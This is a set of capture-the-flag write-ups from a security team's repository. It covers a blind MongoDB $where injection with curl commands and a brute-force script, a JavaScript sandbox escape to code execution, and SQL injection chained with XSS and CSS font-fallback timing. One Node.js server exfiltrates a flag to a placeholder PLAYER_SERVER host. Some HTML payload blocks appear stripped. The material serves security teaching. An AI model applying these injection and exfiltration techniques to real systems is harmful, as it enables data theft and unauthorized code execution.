├── 2016 └── nn6ed │ ├── imgs │ ├── mongojojo-1.png │ ├── mongojojo-2.png │ ├── mongojojo-3.png │ └── mongojojo-4.png │ └── web100.md ├── 2018 └── nn8ed │ └── readme.md ├── 2019 └── nn9ed │ └── x-oracle │ └── README.md └── README.md /2016/nn6ed/imgs/mongojojo-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ka0labs/ctf-writeups/77385be72b38ce6dcb6060b2f3fba48ba5374529/2016/nn6ed/imgs/mongojojo-1.png -------------------------------------------------------------------------------- /2016/nn6ed/imgs/mongojojo-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ka0labs/ctf-writeups/77385be72b38ce6dcb6060b2f3fba48ba5374529/2016/nn6ed/imgs/mongojojo-2.png -------------------------------------------------------------------------------- /2016/nn6ed/imgs/mongojojo-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ka0labs/ctf-writeups/77385be72b38ce6dcb6060b2f3fba48ba5374529/2016/nn6ed/imgs/mongojojo-3.png -------------------------------------------------------------------------------- /2016/nn6ed/imgs/mongojojo-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ka0labs/ctf-writeups/77385be72b38ce6dcb6060b2f3fba48ba5374529/2016/nn6ed/imgs/mongojojo-4.png -------------------------------------------------------------------------------- /2016/nn6ed/web100.md: -------------------------------------------------------------------------------- 1 | # MongoJojo - Web 2 | ## Phase 1 (20 pts) 3 | ====== 4 | 5 | #### NoSQL injection on MongoDB 6 | 7 | > MojoJojo has obtained some secret information about the identities of our three favourite little ladies. We only know that he manages this site: http://challenges.ka0labs.org:31337, but we couldn't find anything. We need your help to get access!!? 8 | 9 | When we visit the url we find the following: 10 | 11 | Main page 12 | 13 | Looking into the source code we can see a couple of things: 14 | 15 | ```html 16 | 17 | ``` 18 | 19 | And the 3 images: 20 | 21 | ```html 22 | 23 | 24 | 25 | ``` 26 | 27 | Doing a quick check we see that these endpoints get a base64 string and cause a redirection to some static files: 28 | 29 | ```bash 30 | $ curl -I http://challenges.ka0labs.org:31337/avatar/Q2FjdHVz 31 | HTTP/1.1 302 Found 32 | Server: nginx 33 | Date: Thu, 06 Oct 2016 13:13:32 GMT 34 | Content-Type: text/plain; charset=utf-8 35 | Content-Length: 38 36 | Connection: keep-alive 37 | Location: /imgs/cactus.png 38 | Vary: Accept 39 | X-Frame-Options: SAMEORIGIN 40 | X-XSS-Protection: 1; mode=block 41 | max_ranges: 0 42 | ``` 43 | 44 | Or, when modified: 45 | 46 | ```bash 47 | $ curl -I "http://challenges.ka0labs.org:31337/avatar/$(echo -ne test | base64)" 48 | HTTP/1.1 302 Found 49 | Server: nginx 50 | Date: Thu, 06 Oct 2016 13:16:21 GMT 51 | Content-Type: text/plain; charset=utf-8 52 | Content-Length: 37 53 | Connection: keep-alive 54 | Location: /imgs/undefined 55 | Vary: Accept 56 | X-Frame-Options: SAMEORIGIN 57 | X-XSS-Protection: 1; mode=block 58 | max_ranges: 0 59 | ``` 60 | 61 | This `undefined` should ring a bell, since is very common in Javascript. We also see that some special chars or words, like single quotes, cause an error: 62 | 63 | ```bash 64 | $ curl -I "http://challenges.ka0labs.org:31337/avatar/$(echo -ne \' | base64)" 65 | HTTP/1.1 500 Internal Server Error 66 | Server: nginx 67 | Date: Thu, 06 Oct 2016 13:19:13 GMT 68 | Content-Type: text/html; charset=utf-8 69 | Content-Length: 20 70 | Connection: keep-alive 71 | ETag: W/"14-T/08Zi7QtXFVEDkd9P0Srw" 72 | ``` 73 | 74 | 500 error page 75 | 76 | With the title of the challenge we can guess that this was about a NoSQL injection, so we try to get a true/false query. 77 | 78 | True: 79 | 80 | ```bash 81 | $ curl -s -I "http://challenges.ka0labs.org:31337/avatar/$(echo -ne 'Cactus"&&(true)||"' | base64)" | grep Location 82 | Location: /imgs/cactus.png 83 | ``` 84 | 85 | False: 86 | 87 | ```bash 88 | $ curl -s -I "http://challenges.ka0labs.org:31337/avatar/$(echo -ne 'Cactus"&&(false)||"' | base64)" | grep Location 89 | Location: /imgs/undefined 90 | ``` 91 | 92 | Ok, it's a blind injection, so the first attempt is try to enumerate the collections in the database: `db.getCollectionNames()`. Unfortunately, any access to the `db` object seems to fail. 93 | 94 | At this point some hints were released: 95 | 96 | > $where is my mind? https://www.youtube.com/watch?v=yFAnn2j4iB0 97 | 98 | > RTFM: https://docs.mongodb.com/manual/reference/operator/query/where/ 99 | 100 | Now it should be obvious that the injection is inside a `$where` expression, for that reason we didn't have access to most objects. We had 2 options: guess the collection structure (was possible since the parameters were `username` and `password`, most users followed this way), or read the documentation and use some of the allowed methods. 101 | 102 | Our expected solution uses `tojsononeline` and the regexp's `match` method. 103 | 104 | ```bash 105 | $ curl -s -I "http://challenges.ka0labs.org:31337/avatar/$(echo -ne 'Cactus"&&(tojsononeline(this).match(/^.*$/))||"' | base64)" | grep Location 106 | Location: /imgs/cactus.png 107 | ``` 108 | 109 | The object `this` in a `$where` expression points to the document being queried in the current collection. So we only need to automatize the process :D 110 | 111 | ```bash 112 | #!/bin/bash 113 | 114 | URL="http://challenges.ka0labs.org:31337/avatar/" 115 | injection='' 116 | 117 | while true; do 118 | echo "Try '$injection'" 119 | for c in {'{','}','\s',',',':','_','!','@','"','\[','\]','\(','\)','\.',{a..z},{0..9},{A..Z}}; do 120 | res="$(curl -s -I "${URL}$(echo -ne "Cactus\"&&tojsononeline(this).match(/^${injection}${c}(.*)$/)||\"" | base64 | tr -d '\n')")" 121 | echo "$res" | grep -q "Location: /imgs/.*.png" 122 | if [ $? -eq 0 ]; then 123 | echo "Match '$c'" 124 | injection="$injection$c" 125 | break 126 | fi 127 | done 128 | done 129 | ``` 130 | 131 | After some test & error (special chars may give problems), and sooome time (using threads would had been nice) we get the following structure: 132 | 133 | `{\s\s"_id"\s:\sObjectId\("57d6bc5c27913d21a0bbad44"\),\s\s"user"\s:\s"Cactus",\s\s"password"\s:\s"CuidadoQueQuemo",\s\s"avatar"\s:\s"cactus\.png",\s\s"admin"\s:\s"NO"\s}` 134 | 135 | Since we want the administrator, we need to change our injection a little: `"||this.admin=="YES"&&tojsononeline(this).match(/^(.*)/$)||"`. So we finally get: 136 | 137 | `{\s\s"_id"\s:\sObjectId\("57d6bc3c27913d21a0bbad41"\),\s\s"user"\s:\s"MojoJojo",\s\s"password"\s:\s"bubbles{Ih4t3Sup3RG1rrrlz}",\s\s"avatar"\s:\s"mojo\.png",\s\s"admin"\s:\s"YES"\s}` 138 | 139 | and the flag!! 140 | 141 | #### bubbles{Ih4t3Sup3RG1rrrlz} 142 | 143 | ## Phase 2 (80 pts) 144 | ====== 145 | 146 | #### Escape JS sandbox mutating objects 147 | 148 | Once we have obtained the user and password, we can login (it was easy to figure out the `/admin` panel) and we find a rare shell named `MoJS`. 149 | 150 | Admin page 151 | 152 | Again, if we read the source code we see that whatever we type in the terminal is sent via websockets and we get a response (mostly some kind of syntax error). Additionally, we can read some HTML comments giving some information about the "sandbox" or the languaged used: 153 | 154 | ```html 155 | 164 | ``` 165 | 166 | During the contest several hints were given, including the source code of the server-side interpreter: 167 | 168 | > El source code de MoJS está disponible desde ayer por la noche a través de la función "help" 169 | 170 | > Javascript objects have prototypes. Mutate the scope. 171 | 172 | > ULTIMATE HINT: Each session has a separate scope object, initially with 2 properties (floppyDisk, bitcoins) and a method (help function). Identifiers are simply property access on the scope object. You can create, read and modify any of them. The unique operators are '+' and '='. Parser only understand integers, but Javascript loves to cast ;) And again. Luke, use the prototype... 173 | 174 | Source: 175 | 176 | ```javascript 177 | // Source: http://alf.nu/ReturnTrue 178 | function execute(sessId, raw) { 179 | var tokens = raw.match(/(\\w+|[+=();])/g); 180 | 181 | var peek = _ => tokens[0]; 182 | var eat = _ => tokens.shift(); 183 | var ate = x => peek() === x && eat(); 184 | var want = x => { if (!ate(x)) throw 'Expected "'+x+'" at '+JSON.stringify(tokens); }; 185 | 186 | function statement() { 187 | scope[sessId][eat()] = [want('='), expr(), want(';')][1]; 188 | } 189 | 190 | function expr() { 191 | for (var v = term(); ate('+'); v = v + term()); 192 | return v; 193 | } 194 | 195 | function term() { 196 | for (var v = atom(); ate('('); v = v([expr(), want(')')][0])); 197 | return v; 198 | } 199 | 200 | function atom() { 201 | var p = eat(), n = parseInt(p); 202 | if (!isNaN(n)) return n; 203 | if (!(p in scope[sessId])) throw 'Undefined '+p; 204 | return scope[sessId][p]; 205 | } 206 | 207 | while (peek()) statement(); 208 | } 209 | ``` 210 | 211 | Our input is tokenized and executed. As the "ultimate hint" tell us, we are only able to modify and access the properties of a Javascript object, which initially only has 2 useless properties. However, if we know a little about Javascript, we find out that there are much more properties accessible, like `valueOf, toString, constructor, __proto__, __defineGetter__, __defineSetter__, isPrototypeOf` and a few more. 212 | 213 | We have several syntactic restrictions: 214 | 215 | * No commas. Functions can only have one argument. 216 | * No point or square brackets. We can't access properties from other objets. 217 | * No string literals, arrays, regexps, objects, booleans or floats. The only literals available are positive integers. 218 | 219 | And we also know that the output is returned by assignating the property `result`. Below there are some examples: 220 | 221 | Shell errors 222 | 223 | Since we had the source code, it was much easier to test in local without all the network overhead (and you also could debug). The challenge may seem frustrating at the begining, we have very few things to do, but at some point we realize that we can redefine the prototype of our object. For instance: 224 | 225 | ```javascript 226 | var obj = {}; 227 | obj.__proto__ = obj.constructor; // Object 228 | ``` 229 | 230 | With this assignment, we are setting all the properties of `Object` (which is our `constructor`) in our prototype, what means that now they are in our scope and we are able to access them. 231 | 232 | ``` 233 | MojoJojo's s3cret sh3ll! 234 | MoJS> __proto__=constructor; result=keys; 235 | "function keys() { [native code] }" 236 | MoJS> 237 | ``` 238 | 239 | In fact, we can repeat this process in order to access the `constructor` of our `constructor`, and, meanwhile, save some interesting references into our object: 240 | 241 | ``` 242 | MoJS> __proto__=constructor; foo=keys; result=constructor; 243 | "function Function() { [native code] }" 244 | MoJS> result=foo; 245 | "function keys() { [native code] }" 246 | MoJS> 247 | ``` 248 | 249 | `Function` is basically an equivalent to `eval`. Hence, if we are able to construct an arbitrary string we will have code execution :D Unfortunately this is also the trickiest part of the challenge. There were many solutions, our expected one was to mutate our object into an string, and access the `fromCharCode` method to generate characters from numbers. Luckily, Javascript's `+` operator is also used for concatenation :) 250 | 251 | ```javascript 252 | var obj = {}; 253 | obj.__proto__ = Object(""); // string literal 254 | obj.__proto__ = obj.constructor; // String 255 | ``` 256 | 257 | Passing a string into the `Object` constructor will return a string object, which has `String` as constructor. In order to generate this first string we can try to use some property in scope which was a string (like `name` in any function), or we can concatenate a function with a number (yep, js rulez): 258 | 259 | ``` 260 | MoJS> result=help+0; 261 | "function () { return execute.toString(); }0" 262 | MoJS> 263 | ``` 264 | 265 | Now we need to put all together. Let's do it, step by step: 266 | 267 | ``` 268 | MoJS> __proto__=constructor(help+0); // string literal in scope 269 | "undefined" 270 | MoJS> __proto__=constructor; // String "class" 271 | "function String() { [native code] }" 272 | MoJS> result=fromCharCode; // we can access its methods :) 273 | "function fromCharCode() { [native code] }" 274 | MoJS> result=constructor; // String's constructor is Function again 275 | "function Function() { [native code] }" 276 | MoJS> result=constructor(fromCharCode(120))(0); // Function('x')(0) 277 | "x is not defined" 278 | "function Function() { [native code] }" 279 | MoJS> 280 | ``` 281 | 282 | And since we have code execution, we can try checking the global scope `return Object.keys(this)`: 283 | 284 | ``` 285 | MoJS> __proto__=constructor(help+0);__proto__=constructor;b=fromCharCode;result=constructor(b(114)+b(101)+b(116)+b(117)+b(114)+b(110)+b(32)+b(79)+b(98)+b(106)+b(101)+b(99)+b(116)+b(46)+b(107)+b(101)+b(121)+b(115)+b(40)+b(116)+b(104)+b(105)+b(115)+b(41))(0); 286 | "execute,scope,fl4g" 287 | MoJS> 288 | ``` 289 | 290 | Uooh! Easy peasy! We got flag `return fl4g`: 291 | 292 | ``` 293 | MoJS> __proto__=constructor(help+0);__proto__=constructor;b=fromCharCode;result=constructor(b(114)+b(101)+b(116)+b(117)+b(114)+b(110)+b(32)+b(102)+b(108)+b(52)+b(103))(0); 294 | "nn6ed{js_m3t4pr0gamming_sk1lls_ftw!}" 295 | MoJS> 296 | ``` 297 | 298 | #### nn6ed{js_m3t4pr0gamming_sk1lls_ftw!} 299 | -------------------------------------------------------------------------------- /2018/nn8ed/readme.md: -------------------------------------------------------------------------------- 1 | # Navaja Negra 2018 CTF Write Ups 2 | ## Pokédex (pwning) 3 | - [@DaniGargu](https://twitter.com/danigargu) [Source + Exploit + original binary](https://github.com/danigargu/my_challenges/tree/master/ctf_nn8ed/pokedex) 4 | - [@Javierprtd](https://twitter.com/javierprtd) [Exploit](https://gist.github.com/soez/930e6964cf5f61f8ebc5d832acb5f4f4) 5 | - [@ManuelBP01](https://twitter.com/Manuelbp01) [Exploit](https://gist.github.com/dialluvioso/e295c02c988041ba412f544e849f32ee) 6 | ## Tindermon (web) 7 | - [@_Dreadlocked](https://twitter.com/_dreadlocked) [Write up + exploit](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md) 8 | ## Pokemon Trilero 9 | - [@TheXC3LL](https://twitter.com/TheXC3LL) [Write up + original code](https://x-c3ll.github.io/posts/nn8ed-CTF/) 10 | ## NESy 11 | - [@TheXC3LL](https://twitter.com/TheXC3LL) [Write up](https://x-c3ll.github.io/posts/nn8ed-CTF/) 12 | ## Updateme (mobile) 13 | - [@SnoozedLife](https://twitter.com/SnoozedLife) [Write up + original APK](https://github.com/snooze6/nn8ed_alwaysupdate) 14 | - Cristian Barrientos [Write up](https://www.fwhibbit.es/nn8ed-write-up-updateme) 15 | ## Pokeball 16 | ## PokeCloner 1 17 | ## Pokecloner 2 18 | ## PokeMap 19 | ## PokeVault 20 | ## HackGym 21 | - [@_Dreadlocked](https://twitter.com/_dreadlocked) [Write up](https://dreadlocked.github.io/2018/10/08/nn8ed-hackgym-writeup/) 22 | - [@TheXC3LL](https://twitter.com/TheXC3LL) [Write up](https://x-c3ll.github.io/posts/nn8ed-CTF/) 23 | ## XOR-Hellcome 24 | ## ZX Spectrum 25 | -------------------------------------------------------------------------------- /2019/nn9ed/x-oracle/README.md: -------------------------------------------------------------------------------- 1 | # Writeup x-Oracle Challenges (Navaja Negra 2019 CTF) 2 | 3 | > __Preface:__ Navaja Negra is a local security conference celebrated every year in Albacete (Spain). Traditionally we have been organizing small CTFs for it. These tasks are a series of web challenges for this year: https://nn9ed.ka0labs.org/. 4 | 5 | The challenges are based on a vanilla SQL injection that must be exploited by a bot with admin role. The [source code](https://gist.github.com/cgvwzq/c78aa5fc228225a2779745f2705eeab5) is provided, so it is easy to spot the SQLi. 6 | 7 | Complete source code: https://github.com/cgvwzq/ctf_tasks/tree/master/nn9ed 8 | 9 | ## x-Oracle-v0 10 | 11 | The first challenge can be solved by chaining the SQL injection with a Blind XSS. The CSP configuration allows `unsafe-inline` and `img-src *`, so it is easy to force the bot to exploit the SQL injection and exfiltrate the flag to an external server: 12 | 13 | ```html 14 | 15 | ``` 16 | 17 | Easy Peasy, here's your flag: `nn9ed{y0u_b3tt3r_warmUp_your_w3b_j4king_sk1lls}` 18 | 19 | ## x-Oracle-v1 20 | 21 | This challenges includes a patch for the previous bug: 22 | 23 | ``` 24 | < res.setHeader('Content-Security-Policy', "default-src 'self' 'unsafe-inline'; img-src *; style-src *; font-src *"); 25 | --- 26 | > res.setHeader('Content-Security-Policy', "default-src 'self'; img-src *; style-src * 'unsafe-inline'; font-src *"); 27 | ``` 28 | 29 | With this stricter CSP we cannot inject 94 | ``` 95 | 96 | The flag: `nn9ed{t1ming_att4cks_ar3_th3_best_att4cks}` 97 | 98 | ## x-Oracle-v2 99 | 100 | Now cross-site timing attacks are mitigated by SameSite cookies (this was supposed to be a huge hint for the bug in v1): 101 | 102 | ``` 103 | < cookie: { secure: false } 104 | --- 105 | > cookie: { secure: false, sameSite: 'strict' } 106 | ``` 107 | 108 | Again, CSP only allows imgs, styles and fonts. Fonts? Yep! Fonts! 109 | 110 | Unfortunately, SameSite cookies mean that we can not exploit cross-site timing attacks anymore ---the admin's cookie will not be send on the request. 111 | 112 | Instead, our intended solution uses "fonts"! This summer we spend some time discussing about how to measure time purely in CSS, and after some reading, we found out that CSS font urls have a fallback mechanism that could be abused for that. This approach has several limitations, but it seemed fun enough for a CTF task :) 113 | 114 | Specifically we are interested in `font-display`, according to the [spec](https://drafts.csswg.org/css-fonts-4/#font-display-desc): 115 | 116 | >...[font-display] determines how a font face is displayed, based on whether and when it is downloaded and ready to use" 117 | 118 | It supports 5 options: 119 | 120 | * `auto`: The display policy is user-agent-defined (most cases same as `block`) 121 | * `block`: Gives the font face a short __block period__ (3s is recommended in most cases) and an infinite __swap period__. 122 | * `swap`: Gives the font face an extremely small __block period__ (100ms or less is recommended in most cases) and an infinite __swap period__. 123 | * `fallback`: Gives the font face an extremely small __block period__ (100ms or less is recommended in most cases) and a short __swap period__ (3s is recommended in most cases). 124 | * `optional`: Gives the font face an extremely small __block period__ (100ms or less is recommended in most cases) and a 0s __swap period__. 125 | 126 | And from the moment that the user-agent tries to download a font, the font-face starts a timer that will advance through 3 periods: 127 | 128 | * __Block period__: if the font face is not loaded, any element attempting to use it must instead render with an invisible fallback font face. If the font face successfully loads during the block period, the font face is then used normally. 129 | * __Swap period__: if the font face is not loaded, any element attempting to use it must instead render with a fallback font face. If the font face successfully loads during the swap period, the font face is then used normally. 130 | * __Failure period__: if the font face is not yet loaded when this period starts, it’s marked as a failed load, causing normal font fallback. Otherwise, the font face is used normally. 131 | 132 | In practice, we can expect the following scenario: 133 | 134 | ```css 135 | @font-face { 136 | font-family: Leak; 137 | src: url(http://url-a/), url(http://url-b); 138 | font-display: optional; 139 | } 140 | div.leak { 141 | font-family: Leak; 142 | } 143 | ``` 144 | 145 | Our font will try to load the first resource, since we are using `font-display: optional`, the block period has only 100ms to load the resource. If the requests fails during this time, the fallback font will be requested; otherwise, it will skip the swap period, mark the load as failed, and fallback to the normal font. 146 | 147 | This means that if the first request takes too long to resolve, the second request is never done. Or in other words, we have our oracle in pure CSS! 148 | 149 | From this point, is relatively easy to implement a tree search based on the time-based SQLi: 150 | 151 | ```css 152 | @font-face { 153 | font-family: Leak; 154 | src:url(http://x-oracle-v2.nn9ed.ka0labs.org/admin/search/x%27union%20select%20if%28flag%20regexp%20%27nn9ed%7B%5B%5C_abcdel%5D.*%7D%27,0,sleep%280.1%29%29%20from%20challenge%20where%20flag%20like%27nn9ed%7B%25%27%23), url(http://PLAYER_SERVER/leak?pre=nn9ed%7B&range=%5C_abcdel); 155 | font-display: optional; 156 | unicode-range: U+005f,U+0061,U+0062,U+0063,U+0064,U+0065,U+006c; 157 | } 158 | 159 | @font-face { 160 | font-family: Leak; 161 | src:url(http://x-oracle-v2.nn9ed.ka0labs.org/admin/search/x%27union%20select%20if%28flag%20regexp%20%27nn9ed%7B%5Bfghijs%5D.*%7D%27,0,sleep%280.1%29%29%20from%20challenge%20where%20flag%20like%27nn9ed%7B%25%27%23), url(http://PLAYER_SERVER/leak?pre=nn9ed%7B&range=fghijs); 162 | font-display: optional; 163 | unicode-range: U+0066,U+0067,U+0068,U+0069,U+006a,U+0073; 164 | } 165 | div { font-family: Leak; } 166 | ``` 167 | When the admin visits a page with the following content, it will ping back with the subset that contains the first character: 168 | 169 | ```html 170 |
_abcdefghijklmnopqrstuvwxyz
171 | 172 | ``` 173 | 174 | One drawback of this injection is that it is case insensitive, so we might need to refine it, but for illustration purposes is enough. 175 | 176 | The following PoC uses recursive CSS import (for more details see [this](https://github.com/cgvwzq/css-scrollbar-attack/), [this](https://github.com/cgvwzq/css-scrollbar-attack/), or [this](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b)) with the previous font fallback trick, to extract the flag in ~5s with a single visit of the admin: 177 | 178 | ```js 179 | const http = require('http'); 180 | const url = require('url'); 181 | const port = 80; 182 | 183 | const TARGET = "http://x-oraclev-2.nn9ed.ka0labs.org"; 184 | const HOSTNAME = `http://PLAYER_SERVER:${port}`; 185 | 186 | const MAX_CON = 2; 187 | 188 | Array.prototype.chunks = function(n) { 189 | let s = Math.floor(this.length / n); 190 | let ret = [], i; 191 | if (this.length <= n) { 192 | return this.map(e=>[e]); 193 | } 194 | for (i=0; i { 206 | let req = url.parse(request.url, url); 207 | log('\treq: %s', request.url); 208 | response.setHeader('Access-Control-Allow-Origin','*'); 209 | switch (req.pathname) { 210 | case "/css": 211 | pre = decodeURIComponent(req.query.pre); 212 | dic = decodeURIComponent(req.query.dic).split(''); 213 | ranges = dic.chunks(MAX_CON); 214 | genResponse(response, pre, ranges); 215 | break; 216 | case "/next": 217 | console.log('delay next response'); 218 | nextResponse = response; 219 | break; 220 | case "/leak": 221 | console.log(req.query.pre, req.query.range); 222 | if (parseInt(req.query.c) < c) { 223 | response.end(); 224 | break; 225 | } 226 | if (req.query.range.length == 1) { 227 | pre += decodeURIComponent(req.query.range); 228 | ranges = dic.chunks(MAX_CON); 229 | c += 1; 230 | console.log('got char!'); 231 | } else { 232 | ranges = decodeURIComponent(req.query.range).split('').chunks(MAX_CON); 233 | } 234 | if (nextResponse) { 235 | genResponse(nextResponse, pre, ranges); 236 | } else { 237 | console.log('shit...'); 238 | } 239 | response.end(); 240 | break; 241 | default: 242 | response.end(); 243 | } 244 | } 245 | 246 | function cssEscape(i) { 247 | return escape(i); 248 | } 249 | 250 | const genResponse = (response, pre, ranges) => { 251 | let css = '@import url(' + HOSTNAME + '/next?' + Math.random() + ');\n\n' + 252 | ranges.map(e => ('@font-face { font-family: Leak;\n' + 253 | 'src:url(' + TARGET + '/admin/search/x%27union%20select%20if%28cast%28flag%20as%20binary%29%20regexp%20%27' + cssEscape(pre) + '%5B' + cssEscape(e.join('')) + '%5D.*%7D%27,0,sleep%280.2%29%29%20from%20challenge%20where%20flag%20like%27nn9ed%7B%25%27%23), ' + 254 | 'url(' + HOSTNAME + '/leak?pre=' + cssEscape(pre) + '&range=' + cssEscape(e.join('')) + '&c=' + c + '); font-display: optional; unicode-range: ' + e.map(x => ('U+' + ('0000'+x.charCodeAt(0).toString(16)).substr(-4))).join(','))+';}').join('\n') + 255 | '\n' + 'div' + ' { font-family: Leak; }'; 256 | response.writeHead(200, { 'Content-Type': 'text/css'}); 257 | response.write(css); 258 | response.end(); 259 | 260 | } 261 | 262 | const server = http.createServer(requestHandler) 263 | 264 | server.listen(port, (err) => { 265 | if (err) { 266 | return console.log('[-] Error: something bad happened', err); 267 | } 268 | console.log('[+] Server is listening on %d', port); 269 | }) 270 | 271 | function log() { 272 | console.log.apply(console, arguments); 273 | } 274 | ``` 275 | 276 | The code is a bit unestable ---the browsers send some requests whose reason I still need to figure out---, but if we ignore them (thanks to the `c` param), in the worst case a few retries give us the flag (in lower case): `nn9ed{css_fallback_rulez}`. 277 | 278 | After some manual adjustment: `nn9ed{cSS_fallback_rulez}`. 279 | 280 | Interestingly, we can do better than a binary search by splitting the alphabet in more fonts. However, this number is limited by the browser's maximum number of connections per hosts (6 in most modern browsers). Using more than that will make the browser serialize fruther requests and the timing measurements will become useless. 281 | 282 | ## Unexpected solutions 283 | 284 | One of the best perks of organizing a CTF is to see other people resolving your tasks in a different way than you intended. And this occasion wasn't an exception :) 285 | 286 | We were aware that some sources of contention or serialization during parsing or resource loading could be used to solve this tasks. For a 2006 example, see Jeremiah Grossman's [non-JS port scanner](https://blog.jeremiahgrossman.com/2006/11/browser-port-scanning-without.html). Only 13 years ago... Feeling old? T_T 287 | 288 | But nevertheless we got a few very interesting submissions. All of them solving both v1 and v2 at once. 289 | 290 | ### Font `unicode-range` + Alternative text 291 | 292 | The first solution comes from the hand of [@terjanq](https://twitter.com/terjanq), who essentially destroyed the CTF solving all the tasks in just a few hours. Kudos! 293 | 294 | He leverages a known `unicode-range` [trick](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html) in a very smart way, to detect whether the alternate text of an `object` element has been rendered (on error) or not (on load). With that he is able to exploit an error based SQLi instead of a time-based. For more details see his [PoC](https://gist.github.com/terjanq/33bbb8828839994c848c3b76c1ac67b1). 295 | 296 | Similarly, [Borja Martinez](https://twitter.com/Qm9yamFN) ---who heroically managed to solve the challenge at 6.20 AM--- used the `A` instead of `A`. 297 | 298 | In this case, the alternative text of the image is always rendered, but the browser only does that once the resource is resolved. By requesting a controlled resource before (time_start), and calculating the difference with the font load request (time_end), he obtains the delay of the loaded resource w/o JavaScript. 299 | 300 | ### `` stalling `` 301 | The second person to solve the challenge was [Luan Herrera](https://twitter.com/lbherrera_), who used the fact that `` will only take place when the previous images have finished loading. 302 | 303 | Like Borja, he first requests a controlled resource (time_start), sets the stalling `` tag, and the `` refresh tag pointing to his server to obtain the time delay. 304 | 305 | Great work. 306 | 307 | ## Thanks for reading! 308 | by [@cgvwzq](https://twitter.com/cgvwzq) and [@TheXC3LL](https://twitter.com/TheXC3LL) 309 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF Writeups 2 | 3 | Some writeups from [__Insanity__](https://ctftime.org/team/812) team. 4 | More at: https://blog.ka0labs.net/ or @[ka0labs_](https://twitter.com/ka0labs_). 5 | --------------------------------------------------------------------------------